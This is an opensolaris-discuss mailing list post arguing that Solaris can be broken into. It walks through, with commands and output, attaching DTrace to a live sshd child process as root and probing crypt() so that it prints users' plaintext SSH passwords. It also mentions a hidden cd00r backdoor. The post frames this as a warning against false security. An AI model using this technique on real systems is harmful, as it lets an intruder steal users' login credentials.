> Really, I don't know how someone would hack a Solaris
> box.

How about this scenario: you discover a zero day exploit in SSH, make your 
cd00r.c and the service it spawns invisible, but you don't stop there.

Instead, you do some further DTrace to obtain SSH passwords from any users 
logging into the system via SSH:

ssh 127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
RSA key fingerprint is af:2a:b8:8b:ad:d8:55:26:02:fb:28:8b:86:04:d6:3f.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (RSA) to the list of known hosts.
Password:

Since you're already on the system, in another window, you look up the PID of 
the SSH server:

ps -ef | grep sshd
    root   352     1   0 11:20:45 ?           0:00 /usr/lib/ssh/sshd
    root  8287   352   0 13:21:55 ?           0:00 /usr/lib/ssh/sshd
    root  8295  8241   0 13:22:46 pts/5       0:00 grep sshd

Since we know that sshd(1M) spawns a new child process for every new 
connection, it's not PID 352 for sure. So it must be PID 8287, since PIDs are 
incremented sequentially.

Let's use this knowledge. Using the DTrace pid provider in another window, 
let's monitor all the entry probes for PID 8287:

su -
Password:
dtrace -n 'pid8287:::entry [EMAIL PROTECTED] = count();}'
dtrace: description 'pid8297:::entry ' matched 18889 probes

18889 probes! Ouch. Analysis on which function does the SSH decrypt could take 
years; so obviously, we'll have to use our brains a little, instead of slaving 
away like a monkey behind a keyboard. Let's fudge up the password, twice, and 
narrow the results:

ssh 127.0.0.1
Password: 
Password:

Let's see what happens in the other window in the meanwhile:

dtrace -n 'pid8297:::entry [EMAIL PROTECTED] = count();}'
dtrace: description 'pid8297:::entry ' matched 18889 probes
^C
  _free_config                                                      1
  _free_sessionPool                                                 1
  _morecore                                                         1
  elf_lookup_filtee                                                 1
  establish_key                                                     1
  get_max_failed                                                    1
  getbucketnum                                                      1
  lmalloc                                                           1
  private_getpwnam_r                                                1
  __get_authtoken_attr                                              2
  __pam_get_authtok                                                 2
  _brk_unlocked                                                     2
  _rewind_unlocked                                                  2
  _sbrk_unlocked                                                    2
  _so_getpeername                                                   2
  _unix_crypt                                                       2
  allocate_KS                                                       2
  atoi                                                              2
  auth2_pam                                                         2
  auth_log                                                          2
  buffer_free                                                       2
  buffer_init                                                       2
  clean_up                                                          2
  close                                                             2
  close_pam_conf                                                    2
  crypt                                                             2
  defread                                                           2
  derive_pam_svc_name                                               2
  dispatch_run                                                      2
  do_conv                                                           2
  elf_lazy_load                                                     2
  fatal_add_cleanup                                                 2
  fatal_remove_cleanup                                              2
  fileno_unlocked                                                   2
...
...
...
  defrag                                                          646
  split                                                           663
  align                                                           700
  alist_test                                                      850
  memset                                                          965
  strlen                                                         1040
  alist_append                                                   1050
  lmutex_lock                                                    1143
  lmutex_unlock                                                  1143
  free                                                           1157
  malloc                                                         1210
  elf_find_sym                                                   1528
  memcpy                                                         1551
  strcmp                                                         1624
  memcmp                                                         1648
  callable                                                       2941

Wow, now that's a pile of results. However, of special interest are those with 
*two* calls, since we fudged up the password twice on purpose. So let's see 
what's interesting...

  auth2_pam                                                         2
  auth_log                                                          2
  buffer_free                                                       2
  buffer_init                                                       2
  clean_up                                                          2
  close                                                             2
  close_pam_conf                                                    2
  crypt                                                             2
  defread                                                           2
  derive_pam_svc_name                                               2
  dispatch_run                                                      2
  do_conv                                                           2

So let's think about this a little further. What do we know about "run o' the 
mill" passwd authentication?

Passwords are stored in /etc/shadow. In crypt(1) format, unless PAM 
authentication is used, or passwd encryption isn't reconfigured (Solaris has a 
way to do this, see http://docs.sun.com/). Therefore, it's highly likely, 
following this line of logic, that SSH after decryption "off of the wire" must 
call crypt(1) to compare the results with what is in /etc/shadow.

The only "problem" at this point is that we don't know in which argv the passwd 
argument will be sent to crypt(). Fortunately, UNIX(R) loves us, since the 
manual tells us so:

man -s 3C crypt
Standard C Library Functions                            crypt(3C)

NAME
     crypt - string encoding function

SYNOPSIS
     #include <crypt.h>

     char *crypt(const char *key, const char *salt);

The first argument, arg0, will be a pointer to a char array! So:

dtrace -n 'pid8412::crypt:entry {printf("%s\n", copyinstr(arg0));}'
dtrace: description 'pid8412::crypt:entry ' matched 1 probe
CPU     ID                    FUNCTION:NAME
  0  41288                      crypt:entry juhu-hu

BUSTED! Another one bites the dust.

I hope, by the end of reading this *trivial* example, that you're at least a 
little concerned about how easy it is to break into a Solaris box. I just 
wanted to point out that, although Solaris is much, much more secure and 
resistant to attacks when compared to other operating systems, depending on who 
you're dealing with, breaking into your "secure" Solaris box is a walk in the 
park. Don't be lulled by a false sense of security.
 
 
This message posted from opensolaris.org
_______________________________________________
opensolaris-discuss mailing list
[email protected]

Reply via email to